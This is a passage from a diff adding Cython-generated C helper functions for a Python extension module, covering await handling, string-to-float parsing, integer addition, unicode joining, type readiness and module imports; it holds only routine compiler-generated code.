CO_ITERABLE_COROUTINE) { +#endif + return __Pyx_NewRef(obj); + } else +#endif + { + PyObject *method = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, __pyx_n_s_await, &method); + if (likely(is_method)) { + res = __Pyx_PyObject_CallOneArg(method, obj); + } else if (likely(method)) { + res = __Pyx_PyObject_CallNoArg(method); + } else + goto slot_error; + Py_DECREF(method); + } + if (unlikely(!res)) { + __Pyx_Coroutine_AwaitableIterError(obj); + goto bad; + } + if (unlikely(!PyIter_Check(res))) { + __Pyx_TypeName res_type_name = __Pyx_PyType_GetName(Py_TYPE(res)); + PyErr_Format(PyExc_TypeError, + "__await__() returned non-iterator of type '" __Pyx_FMT_TYPENAME "'", res_type_name); + __Pyx_DECREF_TypeName(res_type_name); + Py_CLEAR(res); + } else { + int is_coroutine = 0; + #ifdef __Pyx_Coroutine_USED + is_coroutine |= __Pyx_Coroutine_Check(res); + #endif + #if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + is_coroutine |= PyCoro_CheckExact(res); + #endif + if (unlikely(is_coroutine)) { + /* __await__ must return an *iterator*, not + a coroutine or another awaitable (see PEP 492) */ + PyErr_SetString(PyExc_TypeError, + "__await__() returned a coroutine"); + Py_CLEAR(res); + } + } + return res; +slot_error: + { + __Pyx_TypeName obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "object " __Pyx_FMT_TYPENAME " can't be used in 'await' expression", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + } +bad: + return NULL; +} + +/* CoroutineYieldFrom */ + static PyObject* __Pyx__Coroutine_Yield_From_Generic(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + PyObject *source_gen = __Pyx__Coroutine_GetAwaitableIter(source); + if (unlikely(!source_gen)) { + return NULL; + } + if (__Pyx_Coroutine_Check(source_gen)) { + retval = __Pyx_Generator_Next(source_gen); + } else { + retval = __Pyx_PyObject_GetIterNextFunc(source_gen)(source_gen); + } + if (retval) { + gen->yieldfrom = source_gen; + return retval; + } + Py_DECREF(source_gen); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + if (__Pyx_Coroutine_Check(source)) { + if (unlikely(((__pyx_CoroutineObject*)source)->yieldfrom)) { + PyErr_SetString( + PyExc_RuntimeError, + "coroutine is being awaited already"); + return NULL; + } + retval = __Pyx_Generator_Next(source); +#ifdef __Pyx_AsyncGen_USED + } else if (__pyx_PyAsyncGenASend_CheckExact(source)) { + retval = __Pyx_async_gen_asend_iternext(source); +#endif + } else { + return __Pyx__Coroutine_Yield_From_Generic(gen, source); + } + if (retval) { + Py_INCREF(source); + gen->yieldfrom = source; + } + return retval; +} + +/* pybytes_as_double */ + static double __Pyx_SlowPyString_AsDouble(PyObject *obj) { + PyObject *float_value; +#if PY_MAJOR_VERSION >= 3 + float_value = PyFloat_FromString(obj); +#else + float_value = PyFloat_FromString(obj, 0); +#endif + if (likely(float_value)) { +#if CYTHON_ASSUME_SAFE_MACROS + double value = PyFloat_AS_DOUBLE(float_value); +#else + double value = PyFloat_AsDouble(float_value); +#endif + Py_DECREF(float_value); + return value; + } + return (double)-1; +} +static const char* __Pyx__PyBytes_AsDouble_Copy(const char* start, char* buffer, Py_ssize_t length) { + int last_was_punctuation = 1; + Py_ssize_t i; + for (i=0; i < length; i++) { + char chr = start[i]; + int is_punctuation = (chr == '_') | (chr == '.') | (chr == 'e') | (chr == 'E'); + *buffer = chr; + buffer += (chr != '_'); + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyBytes_AsDouble_inf_nan(const char* start, Py_ssize_t length) { + int matches = 1; + char sign = start[0]; + int is_signed = (sign == '+') | (sign == '-'); + start += is_signed; + length -= is_signed; + switch (start[0]) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + matches &= (start[1] == 'a' || start[1] == 'A'); + matches &= (start[2] == 'n' || start[2] == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + matches &= (start[1] == 'n' || start[1] == 'N'); + matches &= (start[2] == 'f' || start[2] == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + matches &= (start[3] == 'i' || start[3] == 'I'); + matches &= (start[4] == 'n' || start[4] == 'N'); + matches &= (start[5] == 'i' || start[5] == 'I'); + matches &= (start[6] == 't' || start[6] == 'T'); + matches &= (start[7] == 'y' || start[7] == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static CYTHON_INLINE int __Pyx__PyBytes_AsDouble_IsSpace(char ch) { + return (ch == 0x20) | !((ch < 0x9) | (ch > 0xd)); +} +CYTHON_UNUSED static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length) { + double value; + Py_ssize_t i, digits; + const char *last = start + length; + char *end; + while (__Pyx__PyBytes_AsDouble_IsSpace(*start)) + start++; + while (start < last - 1 && __Pyx__PyBytes_AsDouble_IsSpace(last[-1])) + last--; + length = last - start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyBytes_AsDouble_inf_nan(start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + digits = 0; + for (i=0; i < length; digits += start[i++] != '_'); + if (likely(digits == length)) { + value = PyOS_string_to_double(start, &end, NULL); + } else if (digits < 40) { + char number[40]; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((digits + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} + +/* pyobject_as_double */ + static double __Pyx__PyObject_AsDouble(PyObject* obj) { + if (PyUnicode_CheckExact(obj)) { + return __Pyx_PyUnicode_AsDouble(obj); + } else if (PyBytes_CheckExact(obj)) { + return __Pyx_PyBytes_AsDouble(obj); + } else if (PyByteArray_CheckExact(obj)) { + return __Pyx_PyByteArray_AsDouble(obj); + } else { + PyObject* float_value; +#if !CYTHON_USE_TYPE_SLOTS + float_value = PyNumber_Float(obj); if ((0)) goto bad; + (void)__Pyx_PyObject_CallOneArg; +#else + PyNumberMethods *nb = Py_TYPE(obj)->tp_as_number; + if (likely(nb) && likely(nb->nb_float)) { + float_value = nb->nb_float(obj); + if (likely(float_value) && unlikely(!PyFloat_Check(float_value))) { + __Pyx_TypeName float_value_type_name = __Pyx_PyType_GetName(Py_TYPE(float_value)); + PyErr_Format(PyExc_TypeError, + "__float__ returned non-float (type " __Pyx_FMT_TYPENAME ")", + float_value_type_name); + __Pyx_DECREF_TypeName(float_value_type_name); + Py_DECREF(float_value); + goto bad; + } + } else { + float_value = __Pyx_PyObject_CallOneArg((PyObject*)&PyFloat_Type, obj); + } +#endif + if (likely(float_value)) { + double value = PyFloat_AS_DOUBLE(float_value); + Py_DECREF(float_value); + return value; + } + } +bad: + return (double)-1; +} + +/* PyIntBinop */ + #if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_MAYBE_UNUSED_VAR(inplace); + CYTHON_UNUSED_VAR(zerodivision_check); + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long x; + long a = PyInt_AS_LONG(op1); + + x = (long)((unsigned long)a + (unsigned long)b); + if (likely((x^a) >= 0 || (x^b) >= 0)) + return PyInt_FromLong(x); + return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + const long b = intval; + long a, x; +#ifdef HAVE_LONG_LONG + const PY_LONG_LONG llb = intval; + PY_LONG_LONG lla, llx; +#endif + if (unlikely(__Pyx_PyLong_IsZero(op1))) { + return __Pyx_NewRef(op2); + } + if (likely(__Pyx_PyLong_IsCompact(op1))) { + a = __Pyx_PyLong_CompactValue(op1); + } else { + const digit* digits = __Pyx_PyLong_Digits(op1); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(op1); + switch (size) { + case -2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + default: return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + } + x = a + b; + return PyLong_FromLong(x); +#ifdef HAVE_LONG_LONG + long_long: + llx = lla + llb; + return PyLong_FromLongLong(llx); +#endif + + + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + double result; + + PyFPE_START_PROTECT("add", return NULL) + result = ((double)a) + (double)b; + PyFPE_END_PROTECT(result) + return PyFloat_FromDouble(result); + } + return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); +} +#endif + +/* UnicodeConcatInPlace */ + # if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 +static int +__Pyx_unicode_modifiable(PyObject *unicode) +{ + if (Py_REFCNT(unicode) != 1) + return 0; + if (!PyUnicode_CheckExact(unicode)) + return 0; + if (PyUnicode_CHECK_INTERNED(unicode)) + return 0; + return 1; +} +static CYTHON_INLINE PyObject *__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right + #if CYTHON_REFNANNY + , void* __pyx_refnanny + #endif + ) { + PyObject *left = *p_left; + Py_ssize_t left_len, right_len, new_len; + if (unlikely(__Pyx_PyUnicode_READY(left) == -1)) + return NULL; + if (unlikely(__Pyx_PyUnicode_READY(right) == -1)) + return NULL; + left_len = PyUnicode_GET_LENGTH(left); + if (left_len == 0) { + Py_INCREF(right); + return right; + } + right_len = PyUnicode_GET_LENGTH(right); + if (right_len == 0) { + Py_INCREF(left); + return left; + } + if (unlikely(left_len > PY_SSIZE_T_MAX - right_len)) { + PyErr_SetString(PyExc_OverflowError, + "strings are too large to concat"); + return NULL; + } + new_len = left_len + right_len; + if (__Pyx_unicode_modifiable(left) + && PyUnicode_CheckExact(right) + && PyUnicode_KIND(right) <= PyUnicode_KIND(left) + && !(PyUnicode_IS_ASCII(left) && !PyUnicode_IS_ASCII(right))) { + int ret; + __Pyx_GIVEREF(*p_left); + ret = PyUnicode_Resize(p_left, new_len); + __Pyx_GOTREF(*p_left); + if (unlikely(ret != 0)) + return NULL; + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(*p_left, left_len, right, 0, right_len) < 0)) return NULL; + #else + _PyUnicode_FastCopyCharacters(*p_left, left_len, right, 0, right_len); + #endif + __Pyx_INCREF(*p_left); + __Pyx_GIVEREF(*p_left); + return *p_left; + } else { + return __Pyx_PyUnicode_Concat(left, right); + } + } +#endif + +/* JoinPyUnicode */ + static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char) { +#if CYTHON_USE_UNICODE_INTERNALS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyObject *result_uval; + int result_ukind, kind_shift; + Py_ssize_t i, char_pos; + void *result_udata; + CYTHON_MAYBE_UNUSED_VAR(max_char); +#if CYTHON_PEP393_ENABLED + result_uval = PyUnicode_New(result_ulength, max_char); + if (unlikely(!result_uval)) return NULL; + result_ukind = (max_char <= 255) ? PyUnicode_1BYTE_KIND : (max_char <= 65535) ? PyUnicode_2BYTE_KIND : PyUnicode_4BYTE_KIND; + kind_shift = (result_ukind == PyUnicode_4BYTE_KIND) ? 2 : result_ukind - 1; + result_udata = PyUnicode_DATA(result_uval); +#else + result_uval = PyUnicode_FromUnicode(NULL, result_ulength); + if (unlikely(!result_uval)) return NULL; + result_ukind = sizeof(Py_UNICODE); + kind_shift = (result_ukind == 4) ? 2 : result_ukind - 1; + result_udata = PyUnicode_AS_UNICODE(result_uval); +#endif + assert(kind_shift == 2 || kind_shift == 1 || kind_shift == 0); + char_pos = 0; + for (i=0; i < value_count; i++) { + int ukind; + Py_ssize_t ulength; + void *udata; + PyObject *uval = PyTuple_GET_ITEM(value_tuple, i); + if (unlikely(__Pyx_PyUnicode_READY(uval))) + goto bad; + ulength = __Pyx_PyUnicode_GET_LENGTH(uval); + if (unlikely(!ulength)) + continue; + if (unlikely((PY_SSIZE_T_MAX >> kind_shift) - ulength < char_pos)) + goto overflow; + ukind = __Pyx_PyUnicode_KIND(uval); + udata = __Pyx_PyUnicode_DATA(uval); + if (!CYTHON_PEP393_ENABLED || ukind == result_ukind) { + memcpy((char *)result_udata + (char_pos << kind_shift), udata, (size_t) (ulength << kind_shift)); + } else { + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(result_uval, char_pos, uval, 0, ulength) < 0)) goto bad; + #elif CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030300F0 || defined(_PyUnicode_FastCopyCharacters) + _PyUnicode_FastCopyCharacters(result_uval, char_pos, uval, 0, ulength); + #else + Py_ssize_t j; + for (j=0; j < ulength; j++) { + Py_UCS4 uchar = __Pyx_PyUnicode_READ(ukind, udata, j); + __Pyx_PyUnicode_WRITE(result_ukind, result_udata, char_pos+j, uchar); + } + #endif + } + char_pos += ulength; + } + return result_uval; +overflow: + PyErr_SetString(PyExc_OverflowError, "join() result is too long for a Python string"); +bad: + Py_DECREF(result_uval); + return NULL; +#else + CYTHON_UNUSED_VAR(max_char); + CYTHON_UNUSED_VAR(result_ulength); + CYTHON_UNUSED_VAR(value_count); + return PyUnicode_Join(__pyx_empty_unicode, value_tuple); +#endif +} + +/* ValidateBasesTuple */ + #if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases) { + Py_ssize_t i, n; +#if CYTHON_ASSUME_SAFE_MACROS + n = PyTuple_GET_SIZE(bases); +#else + n = PyTuple_Size(bases); + if (n < 0) return -1; +#endif + for (i = 1; i < n; i++) + { +#if CYTHON_AVOID_BORROWED_REFS + PyObject *b0 = PySequence_GetItem(bases, i); + if (!b0) return -1; +#elif CYTHON_ASSUME_SAFE_MACROS + PyObject *b0 = PyTuple_GET_ITEM(bases, i); +#else + PyObject *b0 = PyTuple_GetItem(bases, i); + if (!b0) return -1; +#endif + PyTypeObject *b; +#if PY_MAJOR_VERSION < 3 + if (PyClass_Check(b0)) + { + PyErr_Format(PyExc_TypeError, "base class '%.200s' is an old-style class", + PyString_AS_STRING(((PyClassObject*)b0)->cl_name)); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } +#endif + b = (PyTypeObject*) b0; + if (!__Pyx_PyType_HasFeature(b, Py_TPFLAGS_HEAPTYPE)) + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "base class '" __Pyx_FMT_TYPENAME "' is not a heap type", b_name); + __Pyx_DECREF_TypeName(b_name); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + if (dictoffset == 0) + { + Py_ssize_t b_dictoffset = 0; +#if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + b_dictoffset = b->tp_dictoffset; +#else + PyObject *py_b_dictoffset = PyObject_GetAttrString((PyObject*)b, "__dictoffset__"); + if (!py_b_dictoffset) goto dictoffset_return; + b_dictoffset = PyLong_AsSsize_t(py_b_dictoffset); + Py_DECREF(py_b_dictoffset); + if (b_dictoffset == -1 && PyErr_Occurred()) goto dictoffset_return; +#endif + if (b_dictoffset) { + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "extension type '%.200s' has no __dict__ slot, " + "but base type '" __Pyx_FMT_TYPENAME "' has: " + "either add 'cdef dict __dict__' to the extension type " + "or add '__slots__ = [...]' to the base type", + type_name, b_name); + __Pyx_DECREF_TypeName(b_name); + } +#if !(CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY) + dictoffset_return: +#endif +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + } +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + } + return 0; +} +#endif + +/* PyType_Ready */ + static int __Pyx_PyType_Ready(PyTypeObject *t) { +#if CYTHON_USE_TYPE_SPECS || !(CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API) || defined(PYSTON_MAJOR_VERSION) + (void)__Pyx_PyObject_CallMethod0; +#if CYTHON_USE_TYPE_SPECS + (void)__Pyx_validate_bases_tuple; +#endif + return PyType_Ready(t); +#else + int r; + PyObject *bases = __Pyx_PyType_GetSlot(t, tp_bases, PyObject*); + if (bases && unlikely(__Pyx_validate_bases_tuple(t->tp_name, t->tp_dictoffset, bases) == -1)) + return -1; +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + { + int gc_was_enabled; + #if PY_VERSION_HEX >= 0x030A00b1 + gc_was_enabled = PyGC_Disable(); + (void)__Pyx_PyObject_CallMethod0; + #else + PyObject *ret, *py_status; + PyObject *gc = NULL; + #if PY_VERSION_HEX >= 0x030700a1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM+0 >= 0x07030400) + gc = PyImport_GetModule(__pyx_kp_u_gc); + #endif + if (unlikely(!gc)) gc = PyImport_Import(__pyx_kp_u_gc); + if (unlikely(!gc)) return -1; + py_status = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_isenabled); + if (unlikely(!py_status)) { + Py_DECREF(gc); + return -1; + } + gc_was_enabled = __Pyx_PyObject_IsTrue(py_status); + Py_DECREF(py_status); + if (gc_was_enabled > 0) { + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_disable); + if (unlikely(!ret)) { + Py_DECREF(gc); + return -1; + } + Py_DECREF(ret); + } else if (unlikely(gc_was_enabled == -1)) { + Py_DECREF(gc); + return -1; + } + #endif + t->tp_flags |= Py_TPFLAGS_HEAPTYPE; +#if PY_VERSION_HEX >= 0x030A0000 + t->tp_flags |= Py_TPFLAGS_IMMUTABLETYPE; +#endif +#else + (void)__Pyx_PyObject_CallMethod0; +#endif + r = PyType_Ready(t); +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + t->tp_flags &= ~Py_TPFLAGS_HEAPTYPE; + #if PY_VERSION_HEX >= 0x030A00b1 + if (gc_was_enabled) + PyGC_Enable(); + #else + if (gc_was_enabled) { + PyObject *tp, *v, *tb; + PyErr_Fetch(&tp, &v, &tb); + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_enable); + if (likely(ret || r == -1)) { + Py_XDECREF(ret); + PyErr_Restore(tp, v, tb); + } else { + Py_XDECREF(tp); + Py_XDECREF(v); + Py_XDECREF(tb); + r = -1; + } + } + Py_DECREF(gc); + #endif + } +#endif + return r; +#endif +} + +/* Import */ + static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { + PyObject *module = 0; + PyObject *empty_dict = 0; + PyObject *empty_list = 0; + #if PY_MAJOR_VERSION < 3 + PyObject *py_import; + py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); + if (unlikely(!py_import)) + goto bad; + if (!from_list) { + empty_list = PyList_New(0); + if (unlikely(!empty_list)) + goto bad; + from_list = empty_list; + } + #endif + empty_dict = PyDict_New(); + if (unlikely(!empty_dict)) + goto bad; + { + #if PY_MAJOR_VERSION >= 3 + if (level == -1) { + if (strchr(__Pyx_MODULE_NAME, '.') != NULL) { + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, 1); + if (unlikely(!module)) { + if (unlikely(!PyErr_ExceptionMatches(PyExc_ImportError))) + goto bad; + PyErr_Clear(); + } + } + level = 0; + } + #endif + if (!module) { + #if PY_MAJOR_VERSION < 3 + PyObject *py_level = PyInt_FromLong(level); + if (unlikely(!py_level)) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, __pyx_d, empty_dict, from_list, py_level, (PyObject *)NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, level); + #endif + } + } +bad: + Py_XDECREF(empty_dict); + Py_XDECREF(empty_list); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_import); + #endif + return module; +} + +/* ImportDottedModule */ + #if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Error(PyObject *name, PyObject *parts_tuple, Py_ssize_t count) { + PyObject *partial_name = NULL, *slice = NULL, *sep = NULL; + if (unlikely(PyErr_Occurred())) { + PyErr_Clear(); + } + if (likely(PyTuple_GET_SIZE(parts_tuple) == count)) { + partial_name = name; + } else { + slice = PySequence_GetSlice(parts_tuple, 0, count); + if (unlikely(!slice)) + goto bad; + sep = PyUnicode_FromStringAndSize(".", 1); + if (unlikely(!sep)) + goto bad; + partial_name = PyUnicode_Join(sep, slice); + } + PyErr_Format( +#if PY_MAJOR_VERSION < 3 + PyExc_ImportError, + "No module named '%s'", PyString_AS_STRING(partial_name)); +#else +#if PY_VERSION_HEX >= 0x030600B1 + PyExc_ModuleNotFoundError, +#else + PyExc_ImportError, +#endif + "No module named '%U'", partial_name); +#endif +bad: + Py_XDECREF(sep); + Py_XDECREF(slice); + Py_XDECREF(partial_name); + return NULL; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Lookup(PyObject *name) { + PyObject *imported_module; +#if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + return NULL; + imported_module = __Pyx_PyDict_GetItemStr(modules, name); + Py_XINCREF(imported_module); +#else + imported_module = PyImport_GetModule(name); +#endif + return imported_module; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple) { + Py_ssize_t i, nparts; + nparts = PyTuple_GET_SIZE(parts_tuple); + for (i=1; i < nparts && module; i++) { + PyObject *part, *submodule; +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + part = PyTuple_GET_ITEM(parts_tuple, i); +#else + part = PySequence_ITEM(parts_tuple, i); +#endif + submodule = __Pyx_PyObject_GetAttrStrNoError(module, part); +#if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(part); +#endif + Py_DECREF(module); + module = submodule; + } + if (unlikely(!module)) { + return __Pyx__ImportDottedModule_Error(name, parts_tuple, i); + } + return module; +} +#endif +static PyObject *__Pyx__ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if PY_MAJOR_VERSION < 3 + PyObject *module, *from_list, *star = __pyx_n_s__24; + CYTHON_UNUSED_VAR(parts_tuple); + from_list = PyList_New(1); + if (unlikely(!from_list)) + return NULL; + Py_INCREF(star); + PyList_SET_ITEM(from_list, 0, star); + module = __Pyx_Import(name, from_list, 0); + Py_DECREF(from_list); + return module; +#else + PyObject *imported_module; + PyObject *module = __Pyx_Import(name, NULL, 0); + if (!parts_tuple || unlikely(!module)) + return module; + imported_module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(imported_module)) { + Py_DECREF(module); + return imported_module; + } + PyErr_Clear(); + return __Pyx_ImportDottedModule_WalkParts(module, name, parts_tuple); +#endif +} +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030400B1 + PyObject *module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(module)) { + PyObject *spec = __Pyx_PyObject_GetAttrStrNoError(module, __pyx_n_s_spec); + if (likely(spec)) { + PyObject *unsafe = __Pyx_PyObject_GetAttrStrNoError(spec, __pyx_n_s_initializing); + if (likely(!unsafe || !__Pyx_PyObject_IsTrue(unsafe))) { + Py_DECREF(spec); + spec = NULL; + } + Py_XDECREF(unsafe); + } + if (likely(!spec)) { + PyErr_Clear(); + return module; + } + Py_DECREF(spec); + Py_DECREF(module); + } else if (PyErr_Occurred()) { + PyErr_Clear(); + } +#endif + return __Pyx__ImportDottedModule(name, parts_tuple); +} + +/* ImportFrom */ + static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { + PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); + if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { + const char* module_name_str = 0; + PyObject* module_name = 0; + PyObject* module_dot = 0; + PyObject* full_name = 0; + PyErr_Clear(); + module_name_str = 